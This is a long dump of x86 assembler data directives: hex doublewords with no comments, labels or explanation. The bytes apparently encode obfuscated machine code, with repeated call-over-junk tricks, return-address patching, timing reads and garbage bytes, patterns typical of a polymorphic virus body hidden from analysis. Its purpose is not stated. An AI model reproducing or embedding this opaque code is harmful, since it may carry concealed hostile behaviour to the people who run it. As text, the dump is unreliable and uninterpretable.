		dd 4244481h, 1Bh, 6FC35141h, 53575014h,	6AAB9B73h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0EC9401D2h, 0D9B589E3h, 8D06121Ah, 16EB7285h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 24010259h, 6CA3F97Bh, 559D8BF6h, 83061211h, 6A05C0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0CCD8EFC3h, 3ACAD381h, 0B35068A9h, 24048976h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 46C35242h, 5E94AB6Ch
		dd 0BD8B500Ah, 6122B11h, 6A006A5Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 561EC352h
		dd 0D78D38Fh, 14AADEFh,	8B0F5F53h, 0Bh,	6E9h, 0BA978200h
		dd 6ABB4937h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0E905BB71h, 0DA8A1369h, 4AD95FFh
		dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 2A1BE2C3h, 950265FBh, 9D1A8D8Dh, 9D890615h
		dd 612253Dh, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 9D8BC4C3h, 6120E5Dh, 7E9h, 0DA395A00h
		dd 0B3CDFA8Dh, 1FE9BD83h, 0F010612h, 0B285h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 886B377Ch, 8B66381Bh, 6A026ADAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C7CAC355h
		dd 8F561EE1h, 0EF0D78D3h, 12E8h, 0FCC9CF00h, 37AB0DDCh
		dd 9A535050h, 6936C468h, 5F7A2AB8h, 6890Fh, 0BD8B0000h
		dd 6122FCDh, 0DE990h, 6DB0000h,	0C2433AC1h, 6549B908h
		dd 503811F8h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0E63B4369h, 0FFFC5ACAh, 12162195h
		dd 159D2906h, 0E9061211h, 0DC3h, 0E8h, 0ED815D00h, 616EB7Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0AEC35343h
		dd 9D8BEEFFh, 612166Dh,	11558529h, 9D8B0612h, 6122455h
		dd 219D8960h, 0E9061217h, 0Ah, 759850Ch, 16F884B3h, 8D61F38Ah
		dd 1595CA85h, 918D8906h, 50061226h, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0AB97C355h, 2DA4B251h, 0F18D3360h, 0F9061204h, 35FF6461h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 69C35646h
		dd 9778DD9h, 12141195h,	25896406h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DDC35545h
		dd 0F12217Ch, 687h, 51B52900h, 0FF061202h, 12136D85h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0D18EEE28h, 530E1EC9h, 0BF0FB238h, 8820FFFh,	53000000h
		dd 13819D8Bh, 6A5F0612h, 0DDB5FFFFh, 0E9061230h, 0Dh, 39895A02h
		dd 0A99BD9EFh, 0A4AD790Ch, 0C995FFD6h, 0E9061235h, 131h
		dd 27A59501h, 0DE8B0612h, 0FE8B00B0h, 99E38166h, 8B70E68Dh
		dd 1220319Dh, 0E971E406h, 7, 490872EAh,	3CE751A6h, 2830F61h
		dd 9000001h, 122031B5h,	14E806h, 61430000h, 9C88D670h
		dd 128E1136h, 397E6189h, 74DC3586h, 9D0330D5h, 6121999h
		dd 0C8B60F5Fh, 0FE8FCh,	0C2A10000h, 0C15CDA2Eh,	81B6EF30h
		dd 28D89BA2h, 35B5293Bh, 5B061205h, 6BAh, 3D850100h, 8B061234h
		dd 68C0FC1h, 89000000h,	120C798Dh, 4E8C106h, 21399D8Bh
		dd 0F7660612h, 68D0FE2h, 8B000000h, 120091BDh, 0FC82B06h
		dd 68Ch, 0ADBD8900h, 89061213h,	123139BDh, 89D18B06h, 12333D95h
		dd 6BE906h, 0BF660000h,	858B9C30h, 5F4C4C44h, 0C083F9FCh
		dd 83F8FC07h, 9D2300C0h, 61201FDh, 830FD03Bh, 0Bh, 22198509h
		dd 3EE90612h, 8B000000h, 0FFFFFF8Dh, 0AE9FFh, 0E74E0000h
		dd 0A31DC679h, 0AA8D8AF0h, 0F01E183h, 2084h, 0ADBD8B00h
		dd 8306122Ch, 0FFFFFFA5h, 60B3FEFFh, 4C449589h,	0C7815F4Ch
		dd 5CC12A9Bh, 0E9h, 0FCB58D00h,	0E906166Ch, 0Ah, 0FDFA1D87h
		dd 22DD0DA6h, 6A5550h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0CBC35242h, 0A1B185F4h, 95FF3BFFh, 6122475h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DCC35141h
		dd 4281B98h, 0B7C641ADh, 0D7EB94Eh, 9D8B0000h, 6122081h
		dd 81FCE183h, 0BF933AE7h, 6AFC1Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0FBE533C3h, 8858548Eh
		dd 8E8F860h, 26000000h,	967836F5h, 0F1A2A58h, 87h, 2B615900h
		dd 0E9E381C0h, 811E118Dh, 690337DBh, 0BA6Ch, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 576FAEC3h, 33AD93B7h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0A1B970C3h, 0C9222CF7h, 0BE8h, 5DF92D00h, 14B95DA5h
		dd 3A2E624Ah, 99BAF4BBh, 0BF665B5Ch, 880D6AC4h,	51000000h
		dd 977BF66h, 91958B5Fh,	6A061227h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0F97C351h
		dd 0F98B3CDDh, 34398D8Bh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0A9B7C3C3h, 7B5BD03h
		dd 8B500612h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0A5130FBFh, 14E81Eh,	0F35E0000h, 2E070E8Ah, 0C9C01385h
		dd 57C16D3Fh, 3C03C34Ah, 8166F384h, 5F960FE3h, 83F8B70Fh
		dd 12042DBDh, 840F0006h, 0B8h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0E4C35747h,	6D5D31E8h, 0B8h
		dd 6870F00h, 3000000h, 122BBDBDh, 658D8D06h, 6A061250h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0D4D0C350h, 0C3283044h, 0FEF2559h, 1B8Bh
		dd 0FE800h, 0B5E70000h,	0F3B24655h, 0BB20E33Eh,	6FCC5412h
		dd 25BD3365h, 5F061226h, 6AE1FFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 25D784C3h, 0FA55919Dh
		dd 6E8h, 8CDB4E00h, 0F4CEBDDh, 686h, 89BD8B00h,	5F06122Bh
		dd 2E5DBD83h, 0F000612h, 3C284h, 810F00h, 83000000h, 122E5DBDh
		dd 840F0106h, 3CAh, 25318D89h, 0BD830612h, 6122E5Dh, 81860F03h
		dd 6A000003h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 350BC353h, 8B66234Fh, 8B6660F8h
		dd 0D98C66DFh, 0F799D8Bh, 0E1800612h, 9DBD8B04h, 80061226h
		dd 0C90A88DFh, 109840Fh, 0BD8B0000h, 6123375h, 1A89858Bh
		dd 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 2F0003C3h, 49997470h, 8BF4B485h, 1223C19Dh
		dd 19BF6606h, 3D8533ADh, 66061214h, 505C1EBBh, 89D88B66h
		dd 0BE92404h, 1A000000h, 0A7717A6Eh, 8CE7AB9Dh,	6A2B89h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 80C35545h
		dd 278D8956h, 80CA1638h, 0D968EDDBh, 81593470h,	73262434h
		dd 6A592Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 6016DEC3h, 850F5F50h, 1, 5D95FFF5h, 6A061232h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 8893C357h, 666597B3h, 0BD7F8589h,	6A0615h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0A7B087C3h, 1DBE9h, 8BFCF900h, 15BD7785h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0F3213FEDh, 8E957h, 3CE20000h, 811804F5h, 0C757ACh
		dd 18h,	34019D8Bh, 0B58B0612h, 615BD7Bh, 2D49858Bh, 8D890612h
		dd 6120F55h, 6A0689h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 16F695C3h, 7D9D0B08h, 8B061234h
		dd 121A8985h, 89FE8B06h, 12078D9Dh, 4468906h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 33C35343h, 0F5BD31C6h
		dd 60061210h, 6E9h, 4CDCAD00h, 8BA33045h, 505061F9h, 880F5252h
		dd 0
		dd 60310F5Bh, 61C68B66h, 3489585Ah, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8B84B4D5h
		dd 1210A5BDh, 77B5FF06h, 6A0615BDh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 52FEC353h
		dd 5B24D380h, 0CF4968h,	525052D8h, 0A3406EBBh, 66310F69h
		dd 5AF115BBh, 4815F58h,	1E34B624h, 52006A28h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0E3BF66D3h
		dd 7F858DE9h, 890615BDh, 1227059Dh, 8B669006h, 605750FAh
		dd 856FBF66h, 0B058BB66h, 6A905F61h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 8A51C352h
		dd 0C936E454h, 8564C305h, 0FFD88B66h, 12325D95h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0C1F14A7Dh, 0EEBEF7F3h, 7D958944h, 80061221h, 0D78179F3h
		dd 4FDE18BEh, 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0A7E3D3A8h, 8BF88AEFh, 1229D59Dh
		dd 5D85C706h, 306122Eh,	8B000000h, 1204419Dh, 7FBD8306h
		dd 615BDh, 16840Fh, 8D890000h, 612028Dh, 5CAC4CBBh, 21E95Bh
		dd 95890000h, 6122EEDh,	110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 0E9C08B00h, 12h,	0E301FB96h, 0B4BB82CDh
		dd 9EB5F692h, 93245990h, 11E84B87h, 0DE000000h,	51588380h
		dd 841E9FA1h, 223E5005h, 7390D873h, 7149BF66h, 58D295Bh
		dd 83061200h, 122E5DBDh, 850F0306h, 421h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 70C35141h, 1DD4A7C2h
		dd 0E9BCEDF9h, 14h, 618AEC0Dh, 9EC500B9h, 0CD8426E0h, 74D0F20Dh
		dd 0F616EC39h, 0BD7FBD83h, 0F000615h, 3D884h, 0B5FFF500h
		dd 615BD7Fh, 68A0Fh, 0BD8B0000h, 6120E79h, 13B195FFh, 66BF0612h
		dd 89009D80h, 1230058Dh, 73B58B06h, 890615BDh, 122F7D8Dh
		dd 106C706h, 6A000100h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0FC23C353h,	12E850h
		dd 92370000h, 9A689087h, 34913AFFh, 0E7A637D1h,	0AD866181h
		dd 895BF88Ah, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 35CAE3C3h, 0B5FFD8E8h, 615BD7Fh
		dd 0FFDA8B66h, 1210DD95h, 8BF88A06h, 15BD73B5h,	0F88B6606h
		dd 2311858Bh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0FFD2EEC3h, 7E9AA22h, 34000000h
		dd 79C69D38h, 86898A17h, 0C4h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 65C35747h, 0D077FC6Ah, 54051043h
		dd 6DBD8B69h, 8B06122Eh, 12279195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0BFDEE5ECh
		dd 883D8926h, 0AE90Dh, 9D0B0000h, 8CAD1167h, 0BC494ECFh
		dd 6A04C283h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 786CC356h, 4D88FDFCh, 81665018h
		dd 896CC4C7h, 0BF662050h, 858D3315h, 615D32Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 29C35747h, 0BAC7CDC6h
		dd 0D781A347h, 4140A660h, 0B88689h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E88543C3h
		dd 6, 0CB5B5AA4h, 0BE9C721h, 66000000h,	82277779h, 715B589Dh
		dd 6A5BDFD6h, 0D9B70F00h, 0BD7FB5FFh, 0F98B0615h, 162195FFh
		dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0F1C840C3h, 70412F77h, 6E86050h, 21000000h
		dd 40D2C97Dh, 59FB8B0Ch, 24348961h, 31498D89h, 0FFF50612h
		dd 15BD7FB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 6DDF1734h, 7C29FA61h, 6870Fh, 9D8B0000h
		dd 6122D6Dh, 33D95FFh, 0B5310612h, 6122075h, 24CDBD83h
		dd 0F000612h, 5284h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0E9905287h, 0Dh, 4FA3A2F9h
		dd 0C3EA2DA1h, 2879A163h, 11E950C2h, 34000000h,	3CFBC3C2h
		dd 5694835Ch, 819D1575h, 43C30A7Fh, 56243489h, 9A80EF81h
		dd 0FF5B173Dh, 15BD7FB5h, 0F1852906h, 0FF061223h, 122AE995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0B5AA0CE4h, 0BB880B1Ah, 5830FFAh, 53000000h
		dd 5FD9BF0Fh, 25BD29h, 0B5FF0612h, 615BD7Fh, 2B6D9D8Bh
		dd 95FF0612h, 6120529h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0E2C35040h, 777C2BD2h, 0EE481050h, 45BD83EEh
		dd 2061214h, 67840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 9FEC10C3h, 0A10075F3h
		dd 858B4038h, 6122A25h,	10E9h, 847FBB00h, 233A2194h, 98CF0631h
		dd 0D88F5594h, 0C66Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0DFC35545h, 3D98B15h,	1221019Dh, 3185C706h
		dd 61230h, 8B000000h, 1200B59Dh, 0F3B1E906h, 6AFFFFh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 422F62C3h, 8BDC20EEh, 6AC18BFEh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 693EC350h
		dd 998D0960h, 0F061219h, 8D61C3B7h, 12016985h, 907EB706h
		dd 88F0Fh, 52500000h, 0D98B310Fh, 9050585Ah, 2AAD8D89h
		dd 6A0612h, 6A006AF8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0EE86C355h,	0D66547DCh
		dd 895D102Bh, 122F15B5h, 98858D06h, 890616FAh, 1215258Dh
		dd 5C08306h, 0CEB70F60h, 3075BD89h, 90610612h, 2830F50h
		dd 0B3000000h, 8D299031h, 6122619h, 0BD31006Ah,	6122CBDh
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0DF4B38C3h, 95FF9271h, 61204ADh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 39C35242h, 0D1648F11h
		dd 8B2B4047h, 123041BDh, 41BD8B06h, 8D061225h, 159D1A8Dh
		dd 8BFA8B06h, 121B9D9Dh, 66D1FF06h, 0C458F381h,	1FE9BD83h
		dd 0F010612h, 6485h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0D648B57h, 8B8DA0A3h
		dd 120331BDh, 0F026A06h, 6650FBB7h, 489DE8Bh, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0BC4F88EFh, 0A612BF03h, 95FF0A5Ah, 6121621h,	0E27676BFh
		dd 0E44E922h, 0E80000h,	5D000000h, 0FAA2ED81h, 6A0616h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0DE13DBC3h, 0EDDCDC9Dh, 10E941h, 0A1B70000h
		dd 4A42B345h, 0E5B4D440h, 0D2987D16h, 8589BB79h, 61231CDh
		dd 95CA858Dh, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8A0F6EC3h, 0
		dd 6830Fh, 9D0B0000h, 6121AB9h,	8950B750h, 6A2404h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 1473BEC3h, 66608D74h, 5E04DA81h, 9D8EC181h, 64613A97h
		dd 35FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 19F4AC3h, 258D89DFh, 6406120Fh
		dd 2589h, 0BD2B0000h, 6120461h,	26ED9D8Bh, 85FF0612h, 612136Dh
		dd 0DB81FF6Ah, 6F85F2h,	2C09B5FFh, 9D0B0612h, 6123431h
		dd 35C995FFh, 0FAE90612h, 0F000000h, 689h, 55950900h, 0B0061224h
		dd 1D9D0B00h, 0E6061232h, 11858970h, 0E4061212h, 0C19D2371h
		dd 3C061212h, 0CE830F61h, 66000000h, 0B60FD98Bh, 0BA64B7C8h
		dd 6, 3A5FD381h, 0C18B4EC6h, 2B5B589h, 0E8C10612h, 65B58904h
		dd 66061224h, 0D98BE2F7h, 0D18BC82Bh, 0AD9D8960h, 0E906122Bh
		dd 0Ah,	594C1094h, 0B03EEE98h, 0E96168F4h, 85h,	24A59531h
		dd 858B0612h, 47554C50h, 8307C083h, 14E900C0h, 0C3000000h
		dd 0E5973316h, 26786617h, 1BB755ECh, 0AA0B8CA9h, 3BD2A15Ah
		dd 11830FD0h, 8B000000h, 123191BDh, 47E906h, 0BD2B0000h
		dd 6120379h, 0FFFF8D8Bh, 9D03FFFFh, 6122E15h, 0F01E183h
		dd 2C84h, 9E900h, 0BCBF0000h, 6E3DFF93h, 83A0849Bh, 0FFFFFFA5h
		dd 8B50FEFFh, 1230999Dh, 95895F06h, 47554C50h, 8B59BF66h
		dd 0E9h, 7AB58D00h, 2306167Ah, 12302DBDh, 6A006A06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 5768C353h, 0C75B165Bh, 6850Fh, 9D8B0000h, 6120365h
		dd 247595FFh, 0B9F90612h, 0FF3h, 0C672CF81h, 0E1833121h
		dd 79BD8BFCh, 0FC06122Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0CDC35646h, 0DA54E0FCh, 0DA8B665Ah, 10A5BD8Bh
		dd 0B80612h, 0F9000000h, 0BD8BD22Bh, 6122B21h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 3FC35747h, 0D2F68981h, 8D0F17h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0C952C350h, 0BFCD5499h, 3898A2E8h, 880Dh
		dd 91BD0B00h, 8B061208h, 12279195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 3F9A28E1h
		dd 20F059F4h, 6E9h, 38E47600h, 6090ADADh, 29DD9D0Bh, 840F0612h
		dd 6, 0A31850Bh, 8B610612h, 1234398Dh, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 2278A2CCh, 9DEE71Dh,	34D8589h, 50F90612h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0BDBD8B58h, 6A061224h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 7771C356h, 66873EAFh, 83CDDDBBh, 12042DBDh
		dd 840F0006h, 84h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0D1C35545h, 89F46EECh, 1211219Dh, 0B806h
		dd 0EB800000h, 0FBBF0FB0h, 50658D8Dh, 6A0612h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 2BDD4CC3h, 88772FBFh, 6AE1FF75h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 2098C350h
		dd 29F1BD8Bh, 9D290612h, 61230C1h, 2E5DBD83h, 0F000612h
		dd 47C84h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0F10CB5Ch, 18Dh, 0BD83F500h, 6122E5Dh
		dd 65840F01h, 0F000004h, 68Ah, 65BD3300h, 8306121Ch, 122E5DBDh
		dd 860F0306h, 416h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 8FC35242h, 8B502E38h,	1221B59Dh, 6A6006h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0DC3C7BC3h, 9005C44Dh, 60962E86h, 1A99858Bh,	0BD890612h
		dd 612062Dh, 0BD8B5061h, 6120365h, 0D98C665Bh, 0AE9h, 63DE4100h
		dd 448C5452h, 66A3E728h, 559EDB81h, 0BF04E180h,	121344B2h
		dd 840FC90Ah, 165h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 5AC35646h, 89858B72h,	8B06121Ah, 3D8533FEh
		dd 0F061214h, 0F950FAB7h, 8B66505Bh, 240489D9h,	0B0E38153h
		dd 5F2B71E6h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 5AC2D5C3h, 3E991C9h, 0BD8BD5A2h
		dd 6121461h, 4E8F5h, 3FF0000h, 0F60001Fh, 284h,	50ABB400h
		dd 7095B952h, 310F6A0Ah, 11E9h,	7BAEE400h, 93204B0Bh, 0DBECCC03h
		dd 1673609Ah, 585AB8E3h, 860F5061h, 8, 61605250h, 585A310Fh
		dd 424448Bh, 47BF5250h,	0F47AA2Dh, 12E831h, 9E30000h, 0B87B8586h
		dd 0AC6FBDFCh, 6FF33985h, 1BBB4702h, 9E9h, 525B2300h, 81BAB11Ch
		dd 5A5F2FFEh, 60008B58h, 5250F08Bh, 9E9h, 0A971200h, 0E45B7D6Bh
		dd 310FF18Fh, 870Fh, 585A0000h,	24448961h, 6E904h, 6FEA0000h
		dd 0B4CB2093h, 0DE8B6658h, 325D95FFh, 85890612h, 61220E1h
		dd 0BD7F8589h, 870F0615h, 6, 4B5B589h, 0F3E90612h, 6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 544AC355h, 0B8816C24h, 28B0F92h, 8B000000h
		dd 77858BDFh, 90615BDh,	1216E5BDh, 1800C706h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0A4D1C356h, 5A0F9EFAh, 830FB454h,	3, 0FBFEF80h
		dd 281h, 8BF88A00h, 15BD7BB5h, 51006A06h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0F81E2B24h
		dd 858BB0E0h, 6122D49h,	46EEAABBh, 8B068963h, 120249BDh
		dd 89858B06h, 6A06121Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 67A1C351h, 0CB58AD25h
		dd 78AEE30Ch, 6A044689h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 80C3C352h, 505022E7h
		dd 6E852h, 450A0000h, 2ACC21EEh, 6E8h, 6A1E0D00h, 5F7B0A07h
		dd 0BB310F5Fh, 5D1FEB69h, 3489585Ah, 0DEBF0F24h, 0BD77B5FFh
		dd 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0CDD0A1C3h, 5DBC7121h, 0BE9h, 0A5DBAD00h
		dd 614B2A4Bh, 42C56CA8h, 0B3B52668h, 5F53512Dh,	2434815Bh
		dd 2DACB6D9h, 3401BD8Bh, 0FB8B0612h, 0BD7F858Dh, 6A0615h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0BF7D27C3h, 0F903BCFh, 58Bh,	0A573BB00h, 9050465Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 89C35343h
		dd 0EE5DB842h, 95FFF5A9h, 612325Dh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 49C35747h, 5BDD3C8Ah, 30799D8Bh
		dd 6A610612h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 6540C357h
		dd 1B341339h, 75E06334h, 34E18D89h, 0BD230612h,	61231D5h
		dd 2E5D85C7h, 30612h, 0E6B30000h, 0BD7FBD83h, 0F000615h
		dd 1584h, 9E900h, 62DB0000h, 0C9E21ED5h, 0E9AD7C09h, 1Dh
		dd 3050DA8Bh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0A91D449Fh, 0E559034Eh, 2BB34CB9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 27C35343h
		dd 83CFE126h, 122E5DBDh, 850F0306h, 475h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 37C35545h, 613878B8h
		dd 35BD2BDFh, 83061202h, 15BD7FBDh, 840F0006h, 441h, 0CCBAC781h
		dd 0BD8B3A96h, 6122C0Dh, 0BD7FB5FFh, 6A0615h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 6A5D5CC3h
		dd 0DE8AFE44h, 96DBD8Bh, 95FF0612h, 61213B1h, 8BF98B66h
		dd 15BD73B5h, 0CFBB6606h, 106C751h, 6A000100h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 3908C355h, 9DB3CE98h, 6D9D8B5Fh, 96061234h, 8830Fh
		dd 0F560000h, 81h, 0E9505B00h, 0Dh, 1DB2E0EAh, 63486B77h
		dd 0AA1FA414h, 81669666h, 0FF7139DFh, 15BD7FB5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0D7816692h, 95FFE0C4h, 61210DDh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 21C35545h, 8B3694A3h, 15BD73B5h
		dd 858D0906h, 8B061201h, 12231185h, 0D59D8B06h,	89061219h
		dd 0C486h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0A89C9A9Fh, 9589C4C1h, 61219ADh
		dd 0F9858960h, 8B06120Fh, 121B959Dh, 958B6106h,	6122791h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0DDC35545h
		dd 0CDA7A149h, 902E789Eh, 6604C283h, 2569EF81h,	6A205089h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
